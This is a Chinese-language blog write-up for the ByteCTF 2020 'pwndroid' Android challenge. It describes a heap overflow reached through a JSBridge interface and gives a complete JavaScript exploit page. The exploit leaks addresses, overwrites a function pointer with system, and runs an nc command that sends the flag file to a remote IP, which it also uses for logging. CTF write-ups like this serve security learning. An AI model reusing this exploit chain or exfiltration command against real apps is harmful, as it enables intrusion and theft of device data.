ByteCTF 2020 pwnandroid-爱代码爱编程
pwndroid
一个安卓端程序,native层是简单的菜单程序,其中edit功能没有检查长度,可以溢出,并且没有使用\0截断字符串,在show的时候可以泄露后续的数据
难点在于如何进行交互,程序注册了JSBridge用于与js进行交互,其中该接口对象在js中的对象名为_jsbridge
该对象有一个call函数
因此,在javascript里,可以使用javascript:_jsbridge.call设置好参数后就能调用到对应的函数。
溢出漏洞利用,覆盖函数指针为system,执行nc命令将flag文件反弹到远程服务器里。
<!DOCTYPE html>
<html>
<head>
<title></title>
<script type="text/javascript">
var xhr = new XMLHttpRequest();
function stringToHex(str) {
var val="";
for(var i = 0; i < str.length; i++){
val += str.charCodeAt(i).toString(16);
}
return val;
}
var sleep = function(time) {
var startTime = new Date().getTime() + parseInt(time, 10);
while(new Date().getTime() < startTime) {}
};
function log(info) {
xhr.open('GET', 'http://192.3.81.102/' + info, true);
xhr.send();
}
function add(index,size,content,back) {
content = stringToHex(content);
javascript:_jsbridge.call("add",'{"data":{"idx":' + index.toString() + ',"size":' + size.toString() + ',"content":"' + content + '" },"cbName":"' + back + '" }');
}
function edit(index,size,content,back) {
content = stringToHex(content);
javascript:_jsbridge.call("edit",'{"data":{"idx":' + index.toString() + ',"size":' + size.toString() + ',"content":"' + content + '" },"cbName":"' + back + '" }');
}
function edit2(index,size,content,back) {
javascript:_jsbridge.call("edit",'{"data":{"idx":' + index.toString() + ',"size":' + size.toString() + ',"content":"' + content + '" },"cbName":"' + back + '" }');
sleep(5000);
}
function del(index,back) {
javascript:_jsbridge.call("free",'{"data":{"idx":' + index.toString() + ' },"cbName":"' + back + '" }');
sleep(5000);
}
function show(index,back) {
javascript:_jsbridge.call("show",'{"data":{"idx":' + index.toString() + ' },"cbName":"' + back + '" }');
}
function getPadding(size,c) {
var ans = '';
for (var i=0;i<size;i++) {
ans += c;
}
return ans;
}
var heap_addr=null;
var elf_base=null;
function common_back(data) {
}
function p32(value) {
var t = value.toString(16);
while (t.length != 8) {
t = t + '0';
}
var ans = t.substr(6,2) + t.substr(4,2) + t.substr(2,2) + t.substr(0,2);
//alert(ans);
return ans;
}
//start
add(0,0x8,getPadding(0x8,'a'),"back0");
function back0(data) {
sleep(5000);
add(1,0x8,getPadding(0x8,'b'),"back1");
}
function back1(data) {
sleep(5000);
add(2,0x8,getPadding(0x8,'c'),"back2");
}
function back2(data) {
sleep(5000);
add(3,0x8,getPadding(0x20,'d'),"back3");
}
function back3(data) {
sleep(5000);
edit(2,0x18,getPadding(0x18,'c'),"back4");;
}
function back4(data) {
sleep(5000);
show(2,"back5");
}
function back5(data) {
sleep(5000);
data = data['msg'];
heap_addr = parseInt(data.substr(54,2) + data.substr(52,2) + data.substr(50,2) + data.substr(48,2),16);
handlePc_addr = parseInt(data.substr(62,2) + data.substr(60,2) + data.substr(58,2) + data.substr(56,2),16);
elf_base = handlePc_addr - 0xbf0;
memset_got = elf_base + 0x2FDC;
edit2(2,0x1C,stringToHex(getPadding(0x18,'c'))+p32(memset_got),"back6");
//alert("heap_addr="+heap_addr.toString(16) + "handlePc_addr=" + handlePc_addr.toString(16));
}
function back6(data) {
sleep(5000);
show(3,"back7");
}
function back7(data) {
sleep(5000);
data = data['msg'];
memset_addr = parseInt(data.substr(6,2) + data.substr(4,2) + data.substr(2,2) + data.substr(0,2),16);
libc_base = memset_addr - 0x19b30;
system_addr = libc_base + 0x72b60;
log("libc_base=" + libc_base.toString(16) + " system_addr=" + system_addr.toString(16));
edit2(2,0x20,stringToHex(getPadding(0x18,'c'))+p32(heap_addr) + p32(system_addr),"back8")
}
function back8(data) {
sleep(5000);
var cmd = "nc 192.3.81.102 6666 < /data/local/tmp/flag;";
edit(3,cmd.length,cmd,"back9");
}
function back9(data) {
sleep(5000);
//alert("ready to go!");
show(3,"back10");
}
</script>
</head>
<body>
<div>haivk</div>
</body>
</html>
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 本文链接: https://blog.csdn.net/seaaseesa/article/details/109311358